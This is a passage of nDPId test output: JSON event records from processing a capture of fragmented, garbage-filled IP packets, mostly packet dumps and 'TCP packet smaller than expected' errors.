-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956324} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956334} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956342} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956349} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956357} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956365} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":4684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956372} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956380} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956388} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956399} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956411} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956421} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956429} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956436} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956444} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028956454} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244028956465} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":4695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244028953588,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAmMvLnRnZnRn"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":16,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244029256594,"flow_src_last_pkt_time":1534244029256594,"flow_dst_last_pkt_time":1534244029256594,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":4,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":4,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244029256594,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":16199,"dst_port":21055,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_src_last_pkt_time":1534244029256594,"flow_dst_last_pkt_time":1534244029256594,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAj9HUj9HUj9zUj83NDgzOTbYPAAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256646} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256659} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256675} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256687} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256699} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256709} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256731} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256771} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256787} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256798} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256809} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":4707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256823} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256836} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256849} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256862} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256875} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256894} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256902} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256910} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256918} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256927} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256935} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256943} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":4719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256951} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029256959} 